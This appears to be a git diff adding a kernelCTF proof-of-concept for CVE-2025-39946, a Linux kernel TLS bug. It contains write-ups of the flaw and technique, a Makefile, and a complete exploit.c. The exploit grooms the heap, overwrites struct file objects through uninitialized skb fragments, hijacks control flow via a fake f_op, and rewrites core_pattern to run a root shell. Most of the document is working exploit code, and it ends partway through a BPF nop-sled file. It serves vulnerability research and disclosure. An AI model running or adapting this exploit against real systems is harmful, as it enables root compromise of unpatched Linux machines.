diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/exploit.md new file mode 100644 index 000000000..ed50b85fc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/exploit.md @@ -0,0 +1,143 @@ +# CVE-2025-39946 + +Exploit documentation for `CVE-2025-39946` against `mitigation-v3b-6.1.55`. + +As stated in the `vulnerability.md` documentation, the bug behind +`CVE-2025-39946` causes use of uninitialized data and potentially out-of-bounds +accesses. For exploitation we will focus on the uninitialized data in the +`struct skb_shared_info.frags[]` array. +TLS manages the first 5 fragments for internal use, however fragments after that +are accessible to us because of the bug described. +In order to exploit this, we will first groom the heap so that the next fragment +has some controlled value. We then try to re-use this fragment page so that we +can trigger a page write corrupting kernel data. + +## Page Write Targets + +With the primitive outlined above (essentially a one-shot use-after-free page +write primitive), we need to find a useful page to write to. +There are two obvious choices for this: +- Page tables +- Slab backing pages + +At the time of working on the exploit, page tables seemed to be too unstable due +to the one-shot nature of the write, which is why we will continue with the slab +backing pages. In hindsight, page tables were probably a good fit too. + +Which slab do we target? Ideally the slab would contain objects that allow +trivial code execution or other memory write primitives. Additionally the +objects for the slab should be allocatable without too much noise in other +slabs, because we do not want to accidently corrupt another slab. +Finally, we need to ensure that the same pages used for the slab can be allocated +for for skb fragments. + +Considering all of the above, I went for `struct file` objects: +- They can be allocated rather easily by opening files and we can allocate quite + many +- Files are allocated from a dedicated `kmem_cache`, thus we are sure to only + corrupt file objects aiding stability. +- Files contain a `f_op` vtable, allowing direct rip control. +- File slabs are backed by order 0 pages, which can be allocated easily from + userspace using pipes. + +One downside of files is the fact that we cannot allocate files without +allocating inodes too. This is a problem because every file allocation will +result in the allocation of a `struct dentry` which essentially means our page +write might accidently hit a different slab. + +## Heap Grooming + +In order to get a fragment at the right position we want to have skbs with 6 +fragments, so that the last fragment can be picked up by the file slab. +To get the controlled fragments into an skb, we create pipes and fill exactly 5 +pages. Pipe buffers are backed by order 0 pages which matches the file slab +`kmem_cache` order. After that we add another partially filled page which will +be the page used for triggering the overwrite. +We then splice those pages onto an skb for the expected fragment layout. + +The final page needs to be partially filled so that there is some space left to +write. We will fill the page exactly to the alignment of the `struct file` +objects in the slab. Thus the next write starts at the next `struct file` +object, and will corrupt all the files in the rest of the slab. + +For increased chance of hitting the right pages, we will repeat the above for +N (= 16) pipes. We fill all of them and then release the skbs one by one, +immediatly picking each up with a new `struct tls_strparser`. Since the last +freed object will be the first on the freelist, it is very likely that the TLS +socket picks up the prepared skb. + +## File Slab Spray + +Now that each TLS socket is readily equipped with a prepared skb, we want to +spray file slabs so that new slabs will pick up pages that were released from +the pipe buffers earlier. +For files to allocate we will choose `signalfd`s. Those are a decent choice +because they are rather simple with a small sized context such that we do not +allocate new slabs except for the `file` and the `dentry` slab. Furthermore +`signalfd`s provide an easy to use oracle ([1]) allowing us to check whether we +corrupted the file structure. + +```c +static int do_signalfd4(int ufd, sigset_t *mask, int flags) +{ + struct signalfd_ctx *ctx; + + /* ... */ + + if (ufd == -1) { + /* ... */ + } else { + struct fd f = fdget(ufd); + if (!f.file) + return -EBADF; + ctx = f.file->private_data; + if (f.file->f_op != &signalfd_fops) { // [1] + fdput(f); + return -EINVAL; + } + /* ... */ +} +``` + +As mentioned earlier we cannot prevent allocation of `dentry` slabs when +allocating `signalfd`s. To prevent kernel panics because of corrupted `dentry`s +we will spray the `signalfd`s in a dedicated forked process which will live +forever in case we fail to find a corrupted file. This way we prevent any +accidental oops during cleanup. + +## Triggering the Bug for the Page Write + +Now that we hopefully have a `signalfd` with a file in a slab backed by the page +we placed into one of the skb fragments, we will trigger the bug as described in +the `vulnerability.md` document and write our payload for each skb set up. + +For payload choice we will opt for a simple empty file that basically has +nothing but an `f_op` table that has a `flush` method populated and a reference +count of 1. When we close the file via `close()` we will reach `filp_close()` +which gives us RIP control. +We do not really need the reference count of exactly 1, we just need anything +greater than zero to bypass checks in `filp_close()`. Actually it is better to +choose a greater reference count to prevent the file destructor from running. +Since we will block the kernel in an infinite loop in our flush primitive, we do +not need to worry about that too much though. + +As a RIP gadget we will utilize the "one gadget" technique described in great +detail in the [CVE-2025-21700 writeup](https://raw.githubusercontent.com/google/security-research/refs/heads/master/pocs/linux/kernelctf/CVE-2025-21700_lts_cos_mitigation/docs/novel-techniques.md). +Also note that this gadget does not need a KASLR bypass. + +To create the `struct file_operations` pointer we will resort to the previously +documented deterministically known location of the exception stacks in the CPU +entry area. This issue has been documented several times (CVE-2023-0597). + +After each write completed, we check each `signalfd` using the oracle described +above. If any of them got corrupted we trigger our payload by closing the file +descriptor. + +## Stability Notes + +Special care was taken to make the exploit repeatible if the page reclaim fails. +It should be close to 80% stable. +As a side note, the usage of the "one gadget" actually helps with the page +reclaim because it causes the PCP to drain, thus giving us more reliability in +the page allocation. + diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..c9d0608d0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/docs/vulnerability.md @@ -0,0 +1,77 @@ +# CVE-2025-39946 + +- Requirements: + - Kernel configuration CONFIG_TLS +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84c61fe1a75b4255df1e1e7c054c9e6d048da417 +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0aeb54ac4cd5cf8f60131b4d9ec0b6dc9c27b20d +- Affected Versions: 6.0-rc1 - 6.17-rc7 +- URL: https://www.cve.org/CVERecord?id=CVE-2025-39946 + +In the kernel TLS implementation an issue was found when processing invalid +TLS records under network pressure. This behavior can be achieved +deterministically by forcing short reads via out-of-band data. The kernel +test case demonstrates this: + +```c +TEST_F(tls_err, oob_pressure) +{ + char buf[1<<16]; + int i; + + memrnd(buf, sizeof(buf)); + + EXPECT_EQ(send(self->fd2, buf, 5, MSG_OOB), 5); + EXPECT_EQ(send(self->fd2, buf, sizeof(buf), 0), sizeof(buf)); + for (i = 0; i < 64; i++) + EXPECT_EQ(send(self->fd2, buf, 5, MSG_OOB), 5); +} +``` + +The problem manifests in the `tls_strp_copyin_frag` method. After entering +copy mode due to the initial short read (which is not large enough for parsing +the tls message size just yet) and partially receiving the large buffer, we +continue to copy out chunks from said large buffer. Problem is that TLS +pre-allocated the `skb_shinfo->frags` for only a fixed (small) TLS record and +fails to check whether the available fragments are already exhausted ([1]). +It then continues to copy the incoming data ([2]) regardless. +Finally, parsing the TLS header in `tls_rx_msg_size` is made to fail +returning an invalid size. This causes the copy loop to abort ([3]), however +will not abort the full message (lower layer TCP receive is not interrupted). +A following read triggered by other incoming OOB messages forces reentry into +`tls_strp_copyin_frag` eventually exhausting the available fragments initialized +causing reads of uninitialized data or out-of-bounds reads after the +`skb_shared_info` structure. +Since fragments are basically raw pages, this indirectly yields a page write +primitive via uninitialized fragments ([2]) or potentially crafted out-of-bounds +fragments. + +```c +static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb, + struct sk_buff *in_skb, unsigned int offset, + size_t in_len) +{ + size_t len, chunk; + skb_frag_t *frag; + int sz; + + frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE]; // [1] + + len = in_len; + /* First make sure we got the header */ + if (!strp->stm.full_len) { + /* Assume one page is more than enough for headers */ + chunk = min_t(size_t, len, PAGE_SIZE - skb_frag_size(frag)); + WARN_ON_ONCE(skb_copy_bits(in_skb, offset, + skb_frag_address(frag) + + skb_frag_size(frag), + chunk)); // [2] + + skb->len += chunk; + skb->data_len += chunk; + skb_frag_size_add(frag, chunk); + + sz = tls_rx_msg_size(strp, skb); + if (sz < 0) + return sz; // [3] + /*...*/ +``` diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/Makefile new file mode 100644 index 000000000..759a8875f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/Makefile @@ -0,0 +1,15 @@ +SRC := exploit.c + +exploit: $(SRC) + $(CC) -O2 -static -s -Wall -o $@ $^ + +exploit_debug: $(SRC) + $(CC) -O2 -static -ggdb -Wall -o $@ $^ + +rip: rip.c + # needs clang to compile + clang -O3 -o $@ $< + +# apparently this is needed for the CI +prerequisites: + diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit new file mode 100755 index 000000000..e9708273e Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c new file mode 100644 index 000000000..f7e64bf7c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c @@ -0,0 +1,613 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MITIGATION_V3B 1 + +#define SOL_TCP 6 + +typedef u_int8_t u8; +typedef u_int16_t u16; +typedef u_int32_t u32; +typedef u_int64_t u64; +typedef int8_t i8; +typedef int16_t i16; +typedef int32_t i32; +typedef int64_t i64; + +#define LEN(x) (sizeof(x) / sizeof(x[0])) +#define ASSERT(x) ({ if (!(x)) { err(EXIT_FAILURE, #x); } }) +#define SYSCHK(x) ({ typeof(x) __tmp = (x); if (__tmp == (typeof(x))-1) { err(EXIT_FAILURE, #x); } __tmp; }) +#define DBG(x) ({ typeof(x) __x = (x); fprintf(stderr, "DEBUG: %s:%d:\n\t%s = 0x%lx\n", __FILE__, __LINE__, #x, (unsigned long)__x); __x; }) + +static void pin_to_cpu(int id) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(id, &set); + ASSERT(sched_setaffinity(getpid(), sizeof(set), &set) != -1); +} + +static void synchronize_rcu() { + // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot + if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) { + perror("membarrier()"); + } +} + +static unsigned set_rlimit_nofile(unsigned nofile) { + struct rlimit lim = {}; + ASSERT(!prlimit(0, RLIMIT_NOFILE, NULL, &lim)); + ASSERT(lim.rlim_max >= nofile); + if (!nofile) + nofile = lim.rlim_max; + lim.rlim_cur = nofile; + ASSERT(!prlimit(0, RLIMIT_NOFILE, &lim, NULL)); + + return nofile; +} + +// Number of attempts for getting a page write primitive +#define N_TLS_RECLAIM 24 +static const struct tls12_crypto_info_aes_gcm_128 TLS_CRYPTO_INFO = { + .info.version = TLS_1_2_VERSION, + .info.cipher_type = TLS_CIPHER_AES_GCM_128, + .key = {0x41,}, + .iv = {0x42,}, + .salt = {0x43,}, + .rec_seq = {/*zero*/}, +}; + +/// Return true on overflow +static inline bool be_increment(void* num, int len) { + // Taken from tls_bigint_increment() in net/tls/tls.h + + int i; + for (i = len - 1; i >= 0; i--) { + ((u8*)num)[i]++; + if (((u8*)num)[i] != 0) + break; + } + + return (i == -1); +} + +#define EVENT_FD_WAKE(fd) SYSCHK(eventfd_write((fd), 1)) +#define EVENT_FD_WAIT(fd) ({ u64 __tmp; SYSCHK(read((fd), &__tmp, sizeof(__tmp))); }) + + +#include "rip.h" + +#if ORIGINAL +// Generated with +// &core_name_size = 0xffffffff83bbacc0 +// return from indirect call at filp_close+47 = 0xffffffff8141dc7f + 2 +// ./rip -t 0xffffffff83bbacc0 -r 0xffffffff8141dc81 -m 0 -p 0x1400 > filters.rip.inc +#include "filters.rip.inc" +#else // CI variant +// On the CI, the speculation barrier call stubs are used, so need to adjust the +// return address (compile with X86_FEATURE_RETHUNK) .. +// return from indirect call at filp_close+47 = 0xffffffff8141dc7f + 5 +// ./rip -t 0xffffffff83bbacc0 -r 0xffffffff8141dc84 -m 0 -p 0x1400 > filters.rip.inc +#include "filters.rip_ci.inc" +#endif + +static void setup_core_payload() { + // Setup the RIP control primitive + // Kernel memory layout is a little bit unfortunate, thus we will overwrite + // core_name_size as well. + struct { + int core_name_size; + u8 __pad[32 - 4]; + char core_pattern[14]; + } __attribute__((packed)) core_payload = { + .core_name_size = 128, + .core_pattern = {"|/proc/%P/exe"}, + }; + write_payload((void*)&core_payload, sizeof(core_payload)); +} + +static void stream_socketpair(int pair[2], unsigned short port_hint) { + int s = SYSCHK(socket(AF_INET, SOCK_STREAM, 0)); + int tx = SYSCHK(socket(AF_INET, SOCK_STREAM, 0)); + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(port_hint), + .sin_addr.s_addr = INADDR_ANY, + }; + + while (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + if (errno != EADDRINUSE || be_increment(&addr.sin_port, sizeof(addr.sin_port))) + err(EXIT_FAILURE, "bind()"); + } + SYSCHK(listen(s, 1)); + SYSCHK(connect(tx, (struct sockaddr *)&addr, sizeof(addr))); + int rx = SYSCHK(accept(s, 0, 0)); + + close(s); + + pair[0] = tx; + pair[1] = rx; +} + +#if MITIGATION_V3B + +// sizeof(struct file) +#define FILE_SIZEOF 232 +// offsetof(struct file, f_op) +#define FILE_F_OP_OFF 40 +// offsetof(struct file, f_count) +#define FILE_F_COUNT_OFF 56 + +// offsetof(struct file_operations, flush) +#define FILE_OPS_FLUSH_OFF 120 + +#else +#error "unknown target" +#endif + +// CPU entry area pointers. We need this in order to prepare file->f_ops->flush() +#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (u64)cpu * 0x3b000) +#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58) + +union cpu_entry_area_payload { + struct { + // This structure is offset by offsetof(struct file_operations, flush) + // so that we "have enough space". + // flush() is the only member we care about. + u64 flush; + } f_op_partial; + u64 regs[15]; +}; + +// Number of signalfds to spray in order to allocate a new slab on a sprayed +// page so that we can trigger an overwrite. Must be enough to drain at least +// one entire file kmem_cache (> 16 objects) +#define NUM_SIGNALFDS 300 + +static int proc_core_pattern = -1; +static void handle_signal(int x) { + // Since we block the trigger cpu in kernel, we have to make sure everything + // is still runnable and one thread is not hoarding all the cpu runtime. + // Thus we re-use this handler to check for success. + // This will be invoked repeatedly (because we do not resolve the fault) + char buf[128] = {}; + + // In order to not add any allocation noise in the file kmem_cache, use a + // file we opened earlier + SYSCHK(lseek(proc_core_pattern, 0, SEEK_SET)); + SYSCHK(read(proc_core_pattern, buf, sizeof(buf))); + + if (strncmp(buf, "|/proc/%P/exe", 13) == 0) { + printf("success!\n"); + + // reset handler to trigger core dump helper + ASSERT(signal(SIGSEGV, SIG_DFL) != SIG_ERR); + } +} + +void segfault_thread(int efd) { + pin_to_cpu(1); + + EVENT_FD_WAIT(efd); + + union cpu_entry_area_payload p; + memset(&p, 0xAA, sizeof(p)); + p.f_op_partial.flush = gadget; + // p.f_op_partial.flush = 0x4141414141414141; + + proc_core_pattern = SYSCHK(open("/proc/sys/kernel/core_pattern", O_RDONLY)); + ASSERT(signal(SIGSEGV, handle_signal) != SIG_ERR); + ASSERT(setsid() != -1); + + pin_to_cpu(0); + + printf("child writing payload..\n"); + setup_core_payload(); + + // write the cpu_entry_area .. + asm volatile ( + "mov %0, %%rsp\n" + "pop %%r15\n" + "pop %%r14\n" + "pop %%r13\n" + "pop %%r12\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r11\n" + "pop %%r10\n" + "pop %%r9\n" + "pop %%r8\n" + "pop %%rax\n" + "pop %%rcx\n" + "pop %%rdx\n" + "pop %%rsi\n" + "pop %%rdi\n" + "divq (0x0)\n" + : + : "r"(&p) + ); + + // unreachable + while (1) {} +} + + +void fd_spray_thread(int efd_start, int efd_complete, int efd_segfault) { + pin_to_cpu(0); + + EVENT_FD_WAIT(efd_start); + + // Do the spray. We try to allocate slabs for the file kmem_cache on top of + // a page we sprayed earlier (see main) + int signalfds[NUM_SIGNALFDS] = {}; + sigset_t mask; + sigemptyset(&mask); + for (unsigned i = 0; i < LEN(signalfds); i++) { + signalfds[i] = SYSCHK(signalfd(-1, &mask, 0)); + } + + EVENT_FD_WAKE(efd_complete); + + // For each sprayed TLS sock, check if we were successful in corrupting a + // sprayed signalfd.. + for (unsigned tls = 0; tls < N_TLS_RECLAIM; tls++) { + EVENT_FD_WAIT(efd_start); + + // Check for success + // Probe each signal fd and check if we succeeded in overwriting it. We + // target the following check: + // fd_file(f)->f_op != &signalfd_fops + for (unsigned i = 0; i < LEN(signalfds); i++) { + if (signalfd(signalfds[i], &mask, 0) == -1) { + printf("success! found corrupted signalfd!\n"); + + // Notify core monitor + EVENT_FD_WAKE(efd_segfault); + + // Allow a short grace for setup. + sleep(1); + + pin_to_cpu(1); + setup_core_payload(); + + // Call our close handler + close(signalfds[i]); + + // We should not return here .. + sleep(1); + } + } + + // Signal failure to main and wait for eternity. + EVENT_FD_WAKE(efd_complete); + } + + // Why not close the fds? + // We are likely to corrupt either the filp_cachep or the dentry_cache + // kmem_cache. If we did not corrupt the filp_cache we want to make sure we + // do not accidently oops on a corruption in the dentry_cache, thus just + // keep all fds open and essentially frozen. +} + +int main(int argc, char** argv) { + // we are being run as the core dump helper + if (!getuid()) { + pid_t pid; + sscanf(argv[0], "/proc/%u/exe", &pid); + + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd,0); + dup2(stdoutfd,1); + dup2(stderrfd,2); + + char* shell[] = { + "/bin/sh", + "-c", +#if 0 + "/bin/cat /flag && /bin/sh", +#else + // Avoid deadlocks on the CI :/ + "/bin/cat /flag && sleep 1 && echo c > /proc/sysrq-trigger", +#endif + NULL, + }; + execve(shell[0], shell, NULL); + return 0; + } + + printf("Hello World!\n"); + + int maxfd = set_rlimit_nofile(0); + // In order to reduce allocation noise, pre-allocate the fdtable + close(dup2(STDIN_FILENO, maxfd - 1)); + + int gadget_event = SYSCHK(eventfd(0, EFD_SEMAPHORE)); + if (!SYSCHK(fork())) { + pin_to_cpu(0); + + // on nokaslr runs, gadget needs to be adjusted for missing offset. + if (argc > 1 && !strcmp(argv[1], "DEBUG")) { + gadget -= 0x1000; + } + int filters = SYSCHK(gadget_do_spray()); + printf("sprayed %d filters. gadget = 0x%lx\n", filters, gadget); + + EVENT_FD_WAKE(gadget_event); + + // This one's job is done. Just keep the fds open. + while (1) { sleep(100); } + } + EVENT_FD_WAIT(gadget_event); + + + int notify_segfault = SYSCHK(eventfd(0, EFD_SEMAPHORE)); + int notify_fd_spray = SYSCHK(eventfd(0, EFD_SEMAPHORE)); + int notify_fd_spray_complete = SYSCHK(eventfd(0, EFD_SEMAPHORE)); + u8* buf = NULL; + +try_again: + // All allocations on dedicated core. + pin_to_cpu(0); + + if (!SYSCHK(fork())) { + fd_spray_thread(notify_fd_spray, notify_fd_spray_complete, notify_segfault); + + // must never exit + while (1) { sleep(100); } + } + + int child_segfault = SYSCHK(fork()); + if (!child_segfault) { + segfault_thread(notify_segfault); + exit(0); + } + + #define LARGE_BUF_LEN (1ul << 16) + if (!buf) + buf = calloc(1, LARGE_BUF_LEN); + ASSERT(buf != NULL); + + // Heap grooming. Try to fill caches for everything we do not want to touch + // in the critical sections. + int tls_con_groom[N_TLS_RECLAIM][2]; + for (int i = 0; i < N_TLS_RECLAIM; i++) { + stream_socketpair(tls_con_groom[i], 11337); + SYSCHK(setsockopt(tls_con_groom[i][1], SOL_TCP, TCP_ULP, "tls", sizeof("tls"))); + SYSCHK(setsockopt(tls_con_groom[i][1], SOL_TLS, TLS_RX, &TLS_CRYPTO_INFO, sizeof(TLS_CRYPTO_INFO))); + } + for (int i = 0; i < N_TLS_RECLAIM; i++) { + close(tls_con_groom[i][0]); + close(tls_con_groom[i][1]); + } + // Ensure eveything is idle again + synchronize_rcu(); + + // Prepare the TLS sockets + struct { + int s; + int rx; + int tx; + } tls_con[N_TLS_RECLAIM] = {}; + // In addition to that, reduce allocation noise by allocating a few skbs + // that we release to the cache once we need them to trigger the bug. + int skb_cache[N_TLS_RECLAIM][2]; + + for (int i = 0; i < N_TLS_RECLAIM; i++) { + int tmp[2]; + stream_socketpair(tmp, 11337); + + tls_con[i].s = -1; + tls_con[i].tx = tmp[0]; + tls_con[i].rx = tmp[1]; + + SYSCHK(setsockopt(tls_con[i].rx, SOL_TCP, TCP_ULP, "tls", sizeof("tls"))); + // .. do not set rx config just yet + + stream_socketpair(skb_cache[i], 11337); + ASSERT(sendto(skb_cache[i][0], buf, LARGE_BUF_LEN, 0, NULL, 0) == LARGE_BUF_LEN); + } + + printf("fragment page spray ..\n"); + + // Prepare the page write primitive: Setup a few pipes + int pipefds[N_TLS_RECLAIM][2] = {}; + for (unsigned i = 0; i < N_TLS_RECLAIM; i++) { + SYSCHK(pipe(pipefds[i])); + } + #define page_read(i, buf, size) read(pipefds[i][0], (buf), (size)) + #define page_write(i, buf, size) write(pipefds[i][1], (buf), (size)) + + // Now heap grooming. We want to have some old skbs which have a minimum + // number of fragments (see alloc_skb_with_frags) + int sprayfds[N_TLS_RECLAIM] = {}; + int ss = SYSCHK(socket(AF_INET, SOCK_DGRAM, 0)); + { + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(7331), + .sin_addr.s_addr = INADDR_ANY, + }; + while (bind(ss, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + if (errno != EADDRINUSE || be_increment(&addr.sin_port, sizeof(addr.sin_port))) + err(EXIT_FAILURE, "bind()"); + } + + for (unsigned i = 0; i < N_TLS_RECLAIM; i++) { + sprayfds[i] = SYSCHK(socket(AF_INET, SOCK_DGRAM, 0));; + SYSCHK(connect(sprayfds[i], (struct sockaddr*)&addr, sizeof(addr))); + } + } + + // So the default skbs in alloc_skb_with_frags are allocated with a large + // page order. This kind of sucks because we want order 0 pages to match the + // file kmem_cache.. There is one way to reduce the order: splice() + // Thus, spray a few skbs that originate from pipebuffers. + // We fill exactly the first 5 fragments. After that we add another + // partial fragment. This partial fragment is then completed by the buggy + // TLS code. We choose offset = align(sizeof(struct file)) because that is + // the slab we target (files have a dedicated kmem_chache). + size_t frag_off = (FILE_SIZEOF + 31) & ~31; // aligned sizeof(struct file) for the kmem_cache + size_t total_size = 0; + for (unsigned i = 0; i < N_TLS_RECLAIM; i++) { + total_size = 0; + for (unsigned j = 0; j < 5; j++) { + ASSERT(page_write(i, buf, 0x1000) == 0x1000); + total_size += 0x1000; + } + + ASSERT(page_write(i, buf, frag_off) == frag_off); + total_size += frag_off; + + // Now splice from the pipe to the sockets .. + int n = splice(pipefds[i][0], NULL, sprayfds[i], NULL, total_size, SPLICE_F_MOVE); + ASSERT(n == total_size); + + // Receive the skb and directly reclaim it with the TLS socket + ASSERT(recv(ss, buf, total_size, 0) == total_size); + close(sprayfds[i]); + synchronize_rcu(); + // The skb is allocated in tls_strp_init() + SYSCHK(setsockopt(tls_con[i].rx, SOL_TLS, TLS_RX, &TLS_CRYPTO_INFO, sizeof(TLS_CRYPTO_INFO))); + } + printf("done.\n"); + + close(ss); + synchronize_rcu(); + + printf("try re-alloc page frags as file slabs ..\n"); + + // We now have a bunch of skbs in tls_strparsers that look like this: + // skb_shared_info { + // ... + // frags: [ + // page, -+ + // page, | + // page, |- Managed by TLS + // page, | + // page, -+ + // pageX, <---- Left un-initialized from our previous pipe spray. + // ] + // } + // We now try to allocate (file) slabs that use pageX as a backing store. + + EVENT_FD_WAKE(notify_fd_spray); + EVENT_FD_WAIT(notify_fd_spray_complete); + + printf("done.\n"); + + u8 payload[0x1000] = {}; + // Mark the payload. Only use this to identify the corrupted pages for + // debugging purposes + memset(payload, 0x41, sizeof(payload)); + + // Prepare our payload in buf. Basically only the first page will ever be + // used to write data. We overwrite one page worth of struct files - 1 + // because of write offset (we chose offset aligned to size file) + u8 fake_file[FILE_SIZEOF] = {}; + // Set a fake f_op structure in the cpu_entry_area + *(u64*)(fake_file + FILE_F_OP_OFF) = PAYLOAD_LOCATION(0) + + offsetof(union cpu_entry_area_payload, f_op_partial.flush) + - FILE_OPS_FLUSH_OFF; + // Set reference count to 2, so that this file is not accidently freed + *(u64*)(fake_file + FILE_F_COUNT_OFF) = 2; + + // Note: Alignment is kmem_cache object size not sizeof(struct file) + for (unsigned i = 1; i < 0x1000 / frag_off; i++) { + memcpy(buf + i * frag_off, fake_file, sizeof(fake_file)); + } + + // Get out of the way. All allocations are done at this point. + pin_to_cpu(1); + + for (int i = 0; i < N_TLS_RECLAIM; i++) { + int tx = tls_con[i].tx; + + // Release skbs from cache + close(skb_cache[i][0]); + close(skb_cache[i][1]); + synchronize_rcu(); + + // Now trigger the bug. + printf("doing page overwrite ..\n"); + + // Trigger a short read in tls_strp_read_sock() (coming from tls_data_ready) + ASSERT(sendto(tx, buf, 5, MSG_OOB, NULL, 0) == 5); + // Send a reaaaally large buffer so that we get congestion. This causes + // strp.copy_mode to be true. Consecutive data ready messages will now + // short circuit into tls_strp_read_copyin() + ASSERT(sendto(tx, buf, LARGE_BUF_LEN, 0, NULL, 0) == LARGE_BUF_LEN); + // Eventually we will land in tls_strp_copyin_frag(). We copy in one chunk + // (i.e. a PAGE_SIZE usually) from the incoming data stream and perform a + // header check in tls_rx_msg_size(). Since we all-zeroed the buffer, this + // causes a failure. The problem now is, that this does _not_ abort the + // entire tls session, it just aborts the current read + + for (int i = 0; i < 3; i++) { + // Thus, trigger this read a few more times. Specifically until we + // overlow the number of frags that were initialized in + // tls_strp_read_copy() and we hit pageX + ASSERT(send(tx, buf, 5, MSG_OOB) == 5); + } + + printf("done.\n"); + + printf("triggering payload ..\n"); + + // Fd spray thread will release its files and trigger further steps. + EVENT_FD_WAKE(notify_fd_spray); + + // .. if it was not successful, we get back here. + EVENT_FD_WAIT(notify_fd_spray_complete); + + printf("failed. next tls sock ..\n"); + } + + printf("all failed :/ trying again.\n"); + + // Clean up everything .. + kill(child_segfault, SIGKILL); + for (unsigned i = 0; i < N_TLS_RECLAIM; i++) { + close(pipefds[i][0]); + close(pipefds[i][1]); + } + for (unsigned i = 0; i < N_TLS_RECLAIM; i++) { + close(tls_con[i].s); + close(tls_con[i].rx); + close(tls_con[i].tx); + } + + waitpid(child_segfault, NULL, 0); + + goto try_again; +} diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip.inc b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip.inc new file mode 100644 index 000000000..841d030cf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip.inc @@ -0,0 +1,4161 @@ +struct sock_filter filter_nop_sled[] = { + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 